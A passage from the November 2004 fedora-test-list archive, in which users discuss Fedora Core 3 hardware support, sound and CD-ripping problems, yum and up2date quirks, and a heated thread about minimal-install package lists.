Nov 2004 20:27:24 +0000 Subject: HP Proliant ML330 Hard Disk Drivers..... In-Reply-To: <1100549144.4308.16.camel@localhost.localdomain> References: <20041111192418.C2D8974021@hormel.redhat.com> <1100549144.4308.16.camel@localhost.localdomain> Message-ID: <1100550444.3257.8.camel@douro.ppl-ti.com> I WAS a a fan of Compaq... used to bye Proliants... since HP put the hands on it... well no comments... and you here luky to get a 330. They don't make them anymore... Now i use ASUS servers.... they are just like the proliants... it seems to me..... that they are a copy... not exactly the same... but look-a- like. They work very well, they are cheep and... with linux support.. here in Portugal the ASSUS costs half than a Proliant with the same specs... Linux Rules Seg, 2004-11-15 ?s 12:05 -0800, William Hewitt escreveu: > I have an HP Proliant ML330 - fresh from the factory and low and > behold, they have swapped out standard IDE Controllers with some funky > on-board IDE RAID Controller (Ultra ATA IDE 100) that apparently > doesnt work with anything but RHE or RH9 or RH8...... And even then, > the documentation is lacking...... > > Apparently, HP doesnt support anything but 2.4.x kernels.... and it > looks like no one has worked on these drivers for quite a while... > Linux doesnt detect these drives until you go through a rather > convoluted hack to get the drivers into the install boot system - so > it can see the drives - so it can install the software on those > drives.... > > My only other alternative (so far) is to put in $29 PCI Bus Ultra IDE > Controllers and bypass the HP stuff... (Hey HP, do you guys follow > this list? Things like this make me less and less inclined to use > HP.....) My employers would rather not go the additional card route - > so I am stuck with lurking on this list trying to get some insight > from someone who has been successful with this configuration.... So > far, no luck..... > > So, if anyone has any experience with this configuration, could you > please drop me a line and give me some insight? > > TIA > > WPH > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From bednar007 at gmail.com Mon Nov 15 20:29:56 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 15 Nov 2004 21:29:56 +0100 Subject: No sound on laptop, any progress? Message-ID: <38f00b2a04111512295cea8c36@mail.gmail.com> Hi I added snd-intel8x0m to /etc/hotplug/blacklist but it not works. Still no sound. I got: [root at localhost bednar]# system-config-soundcard Simple mixer control 'PCM',0 Capabilities: pvolume pswitch pswitch-joined Playback channels: Front Left - Front Right Limits: Playback 0 - 31 Front Left: Playback 23 [74%] [on] Front Right: Playback 23 [74%] [on] Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo aplay: pcm_write:1115: write error: Input/output error Darek Borkowski From whooperhsd3 at earthlink.net Mon Nov 15 20:30:31 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Mon, 15 Nov 2004 15:30:31 -0500 (EST) Subject: up2date/yum.conf In-Reply-To: <1100549682.5062.2.camel@scar.lion> References: <1100549682.5062.2.camel@scar.lion> Message-ID: <1652.12.29.16.103.1100550631.squirrel@whooper.org> Alex Thomsen Leth said: > what about syncing up2date and yum.conf. i think its stupid that up2date > shows updates available, when yum.conf cant find the updates because > yum.conf uses another repo. With both yum and up2date supporting mirror lists, it is entirely possible that rhn-applet will show updates while up2date can't find them because it is using another mirror. Oh, and up2date supports more than just yum repos, so that won't work. -- William Hooper From pjones at redhat.com Mon Nov 15 20:43:37 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 15 Nov 2004 15:43:37 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100544130.15292.21.camel@davidz> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> <1100475787.4401.0.camel@davidz> <20041115133436.GB3964@devserv.devel.redhat.com> <1100544130.15292.21.camel@davidz> Message-ID: <1100551417.11585.27.camel@localhost.localdomain> On Mon, 2004-11-15 at 13:42 -0500, David Zeuthen wrote: > On Mon, 2004-11-15 at 08:34 -0500, Alan Cox wrote: > > On Sun, Nov 14, 2004 at 06:43:07PM -0500, David Zeuthen wrote: > > > hal already uses O_EXCL for opening the device node when it comes to > > > optical drives. It is a bug in cdparanoia if it doesn't. > > > > cdparanoia tries to be portable. O_EXCL on a device node meaning exclusive > > ownership is an entirely Linux extension (and 2.6 at that for the general case) > > > > I know - so is cdrecord but we patch that one; having cdparanoia not > using O_EXCL would then be a RH bug, not an upstream bug. Still a bug > though. Except it isn't, this work has long sense been done. -- Peter From pjones at redhat.com Mon Nov 15 21:01:04 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 15 Nov 2004 16:01:04 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100538985.14090.1.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100538985.14090.1.camel@localhost.localdomain> Message-ID: <1100552464.11585.32.camel@localhost.localdomain> On Mon, 2004-11-15 at 10:16 -0700, Kim Lux wrote: > Same thing. Progress was non existent and there were several Vs in the > output. syslogs are clean of messages. How many is "several" -- was it a constant line of them like the previous run? Also, does the result sound even close to correct? How long did track 5 take? For that matter, what did the result of the old run sound like? Was it completely trash, or was there real data in it? -- Peter From lux at diesel-research.com Mon Nov 15 21:53:40 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 14:53:40 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100552464.11585.32.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100538985.14090.1.camel@localhost.localdomain> <1100552464.11585.32.camel@localhost.localdomain> Message-ID: <1100555620.19679.2.camel@localhost.localdomain> On Mon, 2004-11-15 at 16:01 -0500, Peter Jones wrote: > On Mon, 2004-11-15 at 10:16 -0700, Kim Lux wrote: > > Same thing. Progress was non existent and there were several Vs in the > > output. syslogs are clean of messages. > > How many is "several" -- was it a constant line of them like the > previous run? Also, does the result sound even close to correct? I think it was better, but I didn't pay that much attention. > How long did track 5 take? It didn't finish in 20 minutes. The data count was moving, but very slowly. Previously, ie before any changes, I ripped that track at 4x. It doesn't have any scratches on it that I saw on the first rip. > For that matter, what did the result of the old run sound like? Was it > completely trash, or was there real data in it? Sorry, Peter, I didn't listen to either. Neither finished and I assumed (obviously wrongly) that they weren't worth listening to. Please direct me what to do next. > -- > Peter > -- Kim Lux (Mr.) Diesel Research Inc From joelbryanster at gmail.com Mon Nov 15 22:32:00 2004 From: joelbryanster at gmail.com (joelbryan) Date: Tue, 16 Nov 2004 06:32:00 +0800 Subject: Applications for FC4 In-Reply-To: <1100545770.28755.15.camel@kyrre> References: <1100487138.22508.107.camel@localhost.localdomain> <1100531566.2745.71.camel@kyrre> <1100542235l.3541l.0l@devel.mpeters.us> <1100545770.28755.15.camel@kyrre> Message-ID: If you really like music, I suggest you use a much better codec than MP3. Honestly, music encoded in MP3 for me is ruined, it would remove lot's of bit-rate, thus removing some hiss sounds, and changing a lot of quality. I've compared MP3 and OGG, Ogg Vorbis sounds better, with smaller filesize, but if your like me, I'll choose FLAC when Importing Audio CDs. (or much better, a B&W 90db Speakers, with a Vacuum Tube Amplifier, ahh sweet!). On Mon, 15 Nov 2004 20:09:30 +0100, Kyrre Ness Sjobak wrote: > man, 15.11.2004 kl. 19.10 skrev Michael A. Peters: > > On 11/15/2004 07:12:46 AM, Kyrre Ness Sjobak wrote: > > > > > > > > Now M$ is including mp3 > > > > Apple has included mp3 for a long time. > > I have to wonder if iTunes is why MS suddenly felt they needed to ... > > > > Windows Media player has included mp3 for longer than iTunes have > existed. > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From davej at redhat.com Mon Nov 15 22:33:58 2004 From: davej at redhat.com (Dave Jones) Date: Mon, 15 Nov 2004 17:33:58 -0500 Subject: Another test kernel for FC2. Message-ID: <20041115223358.GJ26824@redhat.com> There's a 2.6.9-1.3_FC2 kernel being pushed out to updates-testing right now, which has a number of other bugs fixed vs the previous 1.2_FC2 kernel, including a number of potential security holes. If this installs & boots ok, it'll go out to updates proper tomorrow. Dave From stfn at gmx.net Mon Nov 15 22:39:30 2004 From: stfn at gmx.net (Stefan Hoelldampf) Date: Mon, 15 Nov 2004 23:39:30 +0100 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <1100539677.14090.7.camel@localhost.localdomain> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> <1100534449.12442.2.camel@localhost.localdomain> <20041115172229.GE14135@angus.ind.WPI.EDU> <1100539677.14090.7.camel@localhost.localdomain> Message-ID: <41993022.4050307@gmx.net> Kim Lux wrote: > glibc-headers has a dependency: kernel-headers. I couldn't find kernel > headers. I did find glib-kernheaders, but it has a NOID error and won't > install. (I got it from a mirror, btw.) glibc-kernheaders had been the correct package, it provides kernel-headers. Regards, Stefan From lux at diesel-research.com Mon Nov 15 22:43:11 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 15:43:11 -0700 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <41993022.4050307@gmx.net> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> <1100534449.12442.2.camel@localhost.localdomain> <20041115172229.GE14135@angus.ind.WPI.EDU> <1100539677.14090.7.camel@localhost.localdomain> <41993022.4050307@gmx.net> Message-ID: <1100558591.21174.1.camel@localhost.localdomain> I completed my re installation using a USB harddrive instead of CDROMs and selected server and added X windows, KDE (minimal) and development support (ie gcc, etc.) The install went fine (ie fast) and everything works well. On Mon, 2004-11-15 at 23:39 +0100, Stefan Hoelldampf wrote: > Kim Lux wrote: > > > glibc-headers has a dependency: kernel-headers. I couldn't find kernel > > headers. I did find glib-kernheaders, but it has a NOID error and won't > > install. (I got it from a mirror, btw.) > > glibc-kernheaders had been the correct package, it provides kernel-headers. > > Regards, > Stefan > -- Kim Lux (Mr.) Diesel Research Inc From fedora at ehoeve.com Mon Nov 15 23:16:05 2004 From: fedora at ehoeve.com (Eric Hoeve) Date: Mon, 15 Nov 2004 17:16:05 -0600 Subject: problems with scsi tape support and ASR-2000S Message-ID: <1100560565.2323.34.camel@ws28.ehoeve.com> I did a default custom install of FC3 and was able to install everything just fine. I have no problems with installation, but I am unable to access my scsi tape drive (A Sony SDT-11000: Channel 1 ID 6). Under FC1 I was able to access the tape drive via /dev/st0 & /dev/nst0. When I do the following command: Am I missing something? ~]# mt -f /dev/st0 rewind I get No such file or directory. I have looked in /dev and there is no st0 or nst0 Hardware: Supermicro P4DP6/E7500/Adaptec 7899W Ultra 160 Dual Xeon 2.4 4 GB RAM Adaptec 2000S zero-channel RAID controller 32MB (BIOS 1.41 2001/07/13) Matrox G540 Dual Head Video Controller Soundblaster Live 5.1 Sony SDT-11000 DDS-4 68-pin Ultra 2/LVD -Eric -- Eric Hoeve fedora at ehoeve dot com From an037-0m26i at yahoo.com Mon Nov 15 23:35:37 2004 From: an037-0m26i at yahoo.com (Allen Kistler) Date: Mon, 15 Nov 2004 17:35:37 -0600 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100543036l.3541l.1l@devel.mpeters.us> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <1100543036l.3541l.1l@devel.mpeters.us> Message-ID: <41993D49.7020704@yahoo.com> Michael A. Peters wrote: > On 11/15/2004 08:45:54 AM, Kim Lux wrote: > >> Ouch: "Basically, what I'm saying is I fail to see where FC stands out >> above other distributions that would make me want to use it. Granted, >> after the general buginess I experienced with FC2, I may be biased, >> but >> the whole point is the fact that I wasn't having similar issues with >> the >> other distributions, so why should I have to put up with them with >> FC?" > > > People who post stuff like that rarely can identify what their issue > was. Last *serious* redhat/fedora problem I can recall was the gcc 2.96 > thing. Oh - and RH8 shipped with a gnome that would go crazy if you > made your panel go vertical or added a vertical drawer. > > 9 time out 10 when I have come across a seriously messed up system, I > find that the user has replaced half of the vendor supplied stuff with > 3rd party (less or no QA) replacements, forced installed stuff opposed > to resolving dependencies, etc. > > And of course - there are always the slashdot trolls - who post just to > get reactions. See bug 123281 about flakey behavior with genuine SCSI drives with mixed audio/data CDs. In addition to the problem listed there, I've had highly variable success with writing CDRs from kernel to kernel. I've got FC3 installed on 2 different machines with completely different hardware (that *ouch* works fine with that other OS and Roxio) -- Plextor CD & Plextor CDR, Toshiba DVD & Teac CDR. I suspect what happened is that IDE has overtaken SCSI so much that not as much genuine SCSI testing occurs among kernel hackers. I know modern IDE is supposed to be SCSI in disguise (i.e., same command set), but apparently there are some real world differences. kernel 2.6 introduced "simplification" of the SCSI/IDE code, but perhaps a little too much got simplified away. The current Nahant beta appears to be based on the work that went into FC3. I'm not a RHEL tester, but I'm hoping RHEL testing exposes a wider range of SCSI devices to the new kernel and shows up errors better than FC2/3 (and kernel 2.5) testing did. From lee_connell at hotmail.com Tue Nov 16 00:28:25 2004 From: lee_connell at hotmail.com (Lee Connell) Date: Mon, 15 Nov 2004 19:28:25 -0500 Subject: yum install just downloads not install Message-ID: Sometimes when i use yum install "multiple packages" it will only download the packages and not install them, i then have to run yum install "same packages list" and it will install them from the disk that it downloaded from last time. Anyone else having this problem? From skvidal at phy.duke.edu Tue Nov 16 00:29:35 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 15 Nov 2004 19:29:35 -0500 Subject: yum install just downloads not install In-Reply-To: References: Message-ID: <1100564975.21146.2.camel@binkley> On Mon, 2004-11-15 at 19:28 -0500, Lee Connell wrote: > Sometimes when i use yum install "multiple packages" it will only download > the packages and not install them, i then have to run yum install "same > packages list" and it will install them from the disk that it downloaded > from last time. Anyone else having this problem? is it just exiting or prompting you then exiting? if the former then set keepalive=0 in [main] in your yum.conf and try it if the latter then you're typing some extra garbage that you're not seeing at the prompt -sv From kmaraas at broadpark.no Mon Nov 15 16:19:09 2004 From: kmaraas at broadpark.no (Kjartan Maraas) Date: Mon, 15 Nov 2004 17:19:09 +0100 Subject: Features for FC4 In-Reply-To: <1100371218.3044.0.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100364271.30332.0.camel@localhost.localdomain> <1100365269.30372.2.camel@localhost.localdomain> <1100368734.31959.7.camel@localhost.localdomain> <1100369385.4432.2.camel@localhost.localdomain> <1100371218.3044.0.camel@localhost.localdomain> Message-ID: <1100535549.26651.1.camel@localhost.localdomain> l?r, 13,.11.2004 kl. 11.40 -0700, skrev Kim Lux: > Thanks for the tip. > Tried sending this earlier, sorry if it's duplicated. The write support is severely limited AFAIK. It only supports overwriting existing files and also only if the size is the same. Cheers Kjartan > > On Sat, 2004-11-13 at 19:09 +0100, Thorsten Leemhuis wrote: > > Am Samstag, den 13.11.2004, 10:58 -0700 schrieb Kim Lux: > > > I need R/W. I'll just build a kernel. Or I'll use a FAT32 drive that I > > > can access from both. > > > > You can rebuild the SRPM at rpm.livna.org easily with rw support -- but > > thats not recommended. This SRPM can also be used for rawhide kernels > > (normally) is you use those. > > > > HTH > > > > CU > > thl > > > > > On Sat, 2004-11-13 at 18:54 +0100, Maciej ?enczykowski wrote: > > > > There are easily downloadable modules of the ntfs kernel module prebuilt > > > > to work with RH/FC/debian on the ntfs module site (google://linux+ntfs) > > > > http://linux-ntfs.sourceforge.net/rpm/fedora3.html > > > > > > > > Trivial to get it working. Only R/O though (unless you call writing > > > > inside already created files write access, without even the possibility of > > > > changing file size :) ). > > > > > > > > Cheers, > > > > MaZe. > > > > > > > > > > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > > > I'm sorry... I'm ignorant of what I just started. > > > > > > > > > > I've got a project where I am doing development with both Windows and > > > > > Linux and I need to move data back and forth. The only way I can get > > > > > this now is to build a custom kernel. BTW: xmenuconfig says that ntfs > > > > > is pretty much stable now. > > > > > > > > > > > > > > > On Sat, 2004-11-13 at 11:46 -0500, Robert P. J. Day wrote: > > > > > > On Sat, 13 Nov 2004, Kim Lux wrote: > > > > > > > > > > > > > I just thought of something: ntfs should be enabled in stock > > > > > > > kernels. Anyone running a dual boot XP system will appreciate this. > > > > > > > > > > > > oh, man, i'm pretty sure you didn't want to open *that* can of worms > > > > > > :-) > > > > > > > > > > > > rday > > > > > > > > > > > > > > > > > > -- > > > Kim Lux (Mr.) Diesel Research Inc > > > > > -- > > Thorsten Leemhuis > > > -- > Kim Lux (Mr.) Diesel Research Inc > From bavinic at comcast.net Wed Nov 17 01:39:18 2004 From: bavinic at comcast.net (Jim Martin) Date: Tue, 16 Nov 2004 20:39:18 -0500 Subject: Segfault with Up2date Message-ID: <419AABC6.3000704@comcast.net> I seem to be having a small problem getting up2date working on one of my computers, when I run the rhn-applet it does nothing, when I run up2date from the cli, it gives a segmentation fault and fails to run. I have uninstalled it and re-installed it a couple of times with the same results. however, it is working fine on 2 other computers, and was working fine in this one until this morning. not sure what happened, any help would be great. thanks Jim From darth_linux at ameritech.net Tue Nov 16 00:30:53 2004 From: darth_linux at ameritech.net (Eric Hartwell) Date: Mon, 15 Nov 2004 19:30:53 -0500 Subject: yum install just downloads not install In-Reply-To: References: Message-ID: <200411151930.53643.darth_linux@ameritech.net> yum did that to me then politely told me to get the PGP keys from the sites involved. On Monday 15 November 2004 19:28, Lee Connell wrote: > Sometimes when i use yum install "multiple packages" it will only download > the packages and not install them, i then have to run yum install "same > packages list" and it will install them from the disk that it downloaded > from last time. Anyone else having this problem? From skvidal at phy.duke.edu Tue Nov 16 02:28:57 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 15 Nov 2004 21:28:57 -0500 Subject: yum install just downloads not install In-Reply-To: <200411151930.53643.darth_linux@ameritech.net> References: <200411151930.53643.darth_linux@ameritech.net> Message-ID: <1100572137.21373.0.camel@binkley> On Mon, 2004-11-15 at 19:30 -0500, Eric Hartwell wrote: > yum did that to me then politely told me to get the PGP keys from the sites > involved. > Yum didn't download files first, did it? -sv From rpaiz at simpaticus.com Tue Nov 16 02:28:01 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 15 Nov 2004 20:28:01 -0600 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <200411151849.01868.tim@birdsnest.maths.tcd.ie> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> Message-ID: <1100572081.3542.5.camel@localhost.localdomain> On Mon, 2004-11-15 at 18:49 +0000, Timothy Murphy wrote: > I must confess I have this niggling feeling > that Redhat may not feel it is in their interest > for Fedora to be too easy to install and use, > as this might lesses the attraction of their commercial system. > I hope someone will tell me this is nonsense. > Here you go: it's nonsense. :-) The attraction of their commercial system is for corporations, who are the same people primarily and consistently forced to give Microsoft tons of money. RHEL-WS costs $180/year IIRC, which is WAAAAAAAY more than nearly anyone will pay for a home system. But those corporations do pay for it, and they pay primarily to get a five-year end-of-life commitment and some support. So "reducing the attraction" of Fedora is a non-issue; the people who really are the target market for RHEL will, in their large majority, not be interested in Fedora anyway. Tell an IT manager to reinstall every desktop at least once a year (assuming you skip every other release, even) and they'll throw fits. They want the same OS to stay on that box until the box is obsolete and removed from the user's desktop. Cheers, -- Rodolfo J. Paiz From perbj at stanford.edu Tue Nov 16 02:44:37 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Mon, 15 Nov 2004 18:44:37 -0800 Subject: yum install just downloads not install In-Reply-To: <1100572137.21373.0.camel@binkley> References: <200411151930.53643.darth_linux@ameritech.net> <1100572137.21373.0.camel@binkley> Message-ID: <1100573077.3483.13.camel@localhost.localdomain> On Mon, 2004-11-15 at 21:28 -0500, seth vidal wrote: > On Mon, 2004-11-15 at 19:30 -0500, Eric Hartwell wrote: > > yum did that to me then politely told me to get the PGP keys from the sites > > involved. > > > > Yum didn't download files first, did it? Well, it does download the headers before asking.. (Of course, how would it otherwise know to tell you? I don't think that suggested PGP keys are listed in the metadata?) /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From rpaiz at simpaticus.com Tue Nov 16 02:49:26 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 15 Nov 2004 20:49:26 -0600 Subject: Features for FC4 In-Reply-To: <4194D7A8.9080509@silkroad.ge> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> Message-ID: <1100573367.3542.9.camel@localhost.localdomain> On Fri, 2004-11-12 at 18:32 +0300, Vano Beridze wrote: > Thank you jef. > Now I know where to start. > > Should I take comps.xml from upcoming core 4 test 1 or get it from > somewhere else? > Join the fedora-minimal mailing list (if you care to work as a group) and help out. Been working on a package list and kickstart file for FC3, and waiting for FC3 to be released to work with the developers on the package list for FC4. Been very quiet on the list; speak up when you join. Cheers, -- Rodolfo J. Paiz From rpaiz at simpaticus.com Tue Nov 16 03:01:50 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 15 Nov 2004 21:01:50 -0600 Subject: Minimal install (was: Re: Features for FC4) In-Reply-To: <604aa79104111305042d8ef0cf@mail.gmail.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> Message-ID: <1100574111.3542.21.camel@localhost.localdomain> On Sat, 2004-11-13 at 08:04 -0500, Jeff Spaleta wrote: > Several people have been vocal... and in the past 2+ years several > people have gotten excited by the idea, and then wandered off never to > return with something other people can test. > Bullshit. Every release since Red Hat Linux 9, I have carefully pruned the minimal install down to a significantly smaller size while respecting every bloody dependency and still keeping the system friendly for even a newbie. Admittedly this is a chubbier "minimal" package list than the "just-boot-the-box" crowd may want, but it's still on average 200MB smaller than the distro's version. Every time, I write a HOWTO on trimming the fat from the install. Every time, about 500 people per month read the thing. Every time, I try to offer feedback to the developers. I requested the separation of vim-common (10MB!) from vim-minimal (450K), and I requested the removal of rhpl's dependency on synaptics just now for FC3 (which will be patched later). > Maybe I missed something, > No kidding. I see Satish already posted the interim URL to my latest doc for FC3; check it again if you already read it as I just posted a more recent version. > but I haven't seen an alternative comps.xml file show up in the devel > or test list for community to test. I just found that file, for the first time in my life. No one ever suggested it to me, and I can find no documentation for it. In the YEARS that I have worked on this one subject, NOT ONE DAMN PERSON has ever said "hey... go modify the comps.xml file". Check the archives, all I do is publicly posted. It's 8000 lines long for Chrissakes, and even if I'm sure I can eventually parse it that's NOT the point. You want a comps.xml file? Then bloody freaking make it clear to people who are NOT programmers how to read and write the thing. Don't go mouthing off about no one doing any work. Frankly, I'm not only pissed at your attitude, I'm also disappointed by it. Not the usual intelligent, productive, and useful commentary I expect from you. Can you at least point me to a doc showing the structure of that thing, so we get some value out of your contribution to this thread? *grmbl* *grmbl* *hiss* -- Rodolfo J. Paiz From rpaiz at simpaticus.com Tue Nov 16 03:04:23 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 15 Nov 2004 21:04:23 -0600 Subject: Features for FC4 In-Reply-To: <1100573367.3542.9.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100573367.3542.9.camel@localhost.localdomain> Message-ID: <1100574263.3542.24.camel@localhost.localdomain> On Mon, 2004-11-15 at 20:49 -0600, Rodolfo J. Paiz wrote: > On Fri, 2004-11-12 at 18:32 +0300, Vano Beridze wrote: > > Thank you jef. > > Now I know where to start. > > > > Should I take comps.xml from upcoming core 4 test 1 or get it from > > somewhere else? > > > > Join the fedora-minimal mailing list [...] Oops. http://mail.simpaticus.com/mailman/listinfo/fedora- minimal_simpaticus.com Watch the line wrap. -- Rodolfo J. Paiz From mrguytx at austin.rr.com Tue Nov 16 03:17:29 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Mon, 15 Nov 2004 21:17:29 -0600 Subject: Minimal install (was: Re: Features for FC4) In-Reply-To: <1100574111.3542.21.camel@localhost.localdomain> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> <1100574111.3542.21.camel@localhost.localdomain> Message-ID: <1100575050.3553.50.camel@guyleidadell> On Mon, 2004-11-15 at 21:01 -0600, Rodolfo J. Paiz wrote: > On Sat, 2004-11-13 at 08:04 -0500, Jeff Spaleta wrote: > > Several people have been vocal... and in the past 2+ years several > > people have gotten excited by the idea, and then wandered off never to > > return with something other people can test. > > > > Bullshit. > > Every release since Red Hat Linux 9, I have carefully pruned the minimal > install down to a significantly smaller size while respecting every > bloody dependency and still keeping the system friendly for even a > newbie. Admittedly this is a chubbier "minimal" package list than the > "just-boot-the-box" crowd may want, but it's still on average 200MB > smaller than the distro's version. > > Every time, I write a HOWTO on trimming the fat from the install. Every > time, about 500 people per month read the thing. > > Every time, I try to offer feedback to the developers. I requested the > separation of vim-common (10MB!) from vim-minimal (450K), and I > requested the removal of rhpl's dependency on synaptics just now for FC3 > (which will be patched later). > > > Maybe I missed something, > > > > No kidding. I see Satish already posted the interim URL to my latest doc > for FC3; check it again if you already read it as I just posted a more > recent version. > > > but I haven't seen an alternative comps.xml file show up in the devel > > or test list for community to test. > > I just found that file, for the first time in my life. No one ever > suggested it to me, and I can find no documentation for it. In the YEARS > that I have worked on this one subject, NOT ONE DAMN PERSON has ever > said "hey... go modify the comps.xml file". Check the archives, all I do > is publicly posted. > > It's 8000 lines long for Chrissakes, and even if I'm sure I can > eventually parse it that's NOT the point. You want a comps.xml file? > Then bloody freaking make it clear to people who are NOT programmers how > to read and write the thing. Don't go mouthing off about no one doing > any work. > > Frankly, I'm not only pissed at your attitude, I'm also disappointed by > it. Not the usual intelligent, productive, and useful commentary I > expect from you. Can you at least point me to a doc showing the > structure of that thing, so we get some value out of your contribution > to this thread? > > *grmbl* *grmbl* *hiss* > > -- > Rodolfo J. Paiz > my vote for best vent of the year. Rodolfo, could you post your minimal install doc link here please? thanks. -- =Guy 21:16:05 up 8:42, 2 users, load average: 1.08, 0.86, 0.58 From rpaiz at simpaticus.com Tue Nov 16 03:29:28 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 15 Nov 2004 21:29:28 -0600 Subject: Minimal install (was: Re: Features for FC4) In-Reply-To: <1100575050.3553.50.camel@guyleidadell> References: <1100112479.3955.62.camel@marius.asheville.interact> <4194BBFA.2070505@silkroad.ge> <604aa791041112072139763e6@mail.gmail.com> <4194D7A8.9080509@silkroad.ge> <1100273701.3313.113.camel@douglas-furlong.firebox.com> <604aa79104111305042d8ef0cf@mail.gmail.com> <1100574111.3542.21.camel@localhost.localdomain> <1100575050.3553.50.camel@guyleidadell> Message-ID: <1100575768.3542.32.camel@localhost.localdomain> On Mon, 2004-11-15 at 21:17 -0600, W. Guy Thomas wrote: > my vote for best vent of the year. > Rodolfo, could you post your minimal install doc link here please? > I actually do feel better, too. http://www.simpaticus.com/linux/small-netserver-fc3-howto.php Please note that this is a DRAFT version of a larger document so it may be confusing for newbies (this text included not for W. Guy but for possible reading by said newbies). However, nothing in the doc will be harmful or toxic to your system, and nothing has been done to force anything. Safe as a baby's bottom. More "weight savings" could have been accomplished with a heavier hand (particularly, about 25MB could easily be recovered by deleting docs in /usr/share/doc, and another 15MB or so recovered by just removing synaptics with --force and then deleting all packages which it in turn required). Those changes will be documented later... for now, there is only safe stuff in there. Two things also: 1. If someone will kindly help me figure out how to edit the comps.xml file without spending days on it, I'm sure I can work with the Fedora team to knock 150MB-200MB from the FC4 minimal install. 2. And if someone will help me a little with writing my kickstart file, I can provide an automated way to install my package list within a day or two. Cheers, -- Rodolfo J. Paiz From jonathansavage at gmail.com Tue Nov 16 03:15:18 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Mon, 15 Nov 2004 19:15:18 -0800 Subject: Applications for FC4 In-Reply-To: References: <1100487138.22508.107.camel@localhost.localdomain> <1100531566.2745.71.camel@kyrre> <1100542235l.3541l.0l@devel.mpeters.us> <1100545770.28755.15.camel@kyrre> Message-ID: <2ad7cea104111519154a172770@mail.gmail.com> Something that configures wireless during the install or in firstboot would be a good addition. Ubuntu has that feature & while I did not much care for the distro as a whole that was welcome and BTW 'just worked' on my setup. Bests Jon From gene.heskett at verizon.net Tue Nov 16 04:28:42 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Mon, 15 Nov 2004 23:28:42 -0500 Subject: Applications for FC4 In-Reply-To: <1100545770.28755.15.camel@kyrre> References: <1100542235l.3541l.0l@devel.mpeters.us> <1100545770.28755.15.camel@kyrre> Message-ID: <200411152328.42845.gene.heskett@verizon.net> On Monday 15 November 2004 14:09, Kyrre Ness Sjobak wrote: >man, 15.11.2004 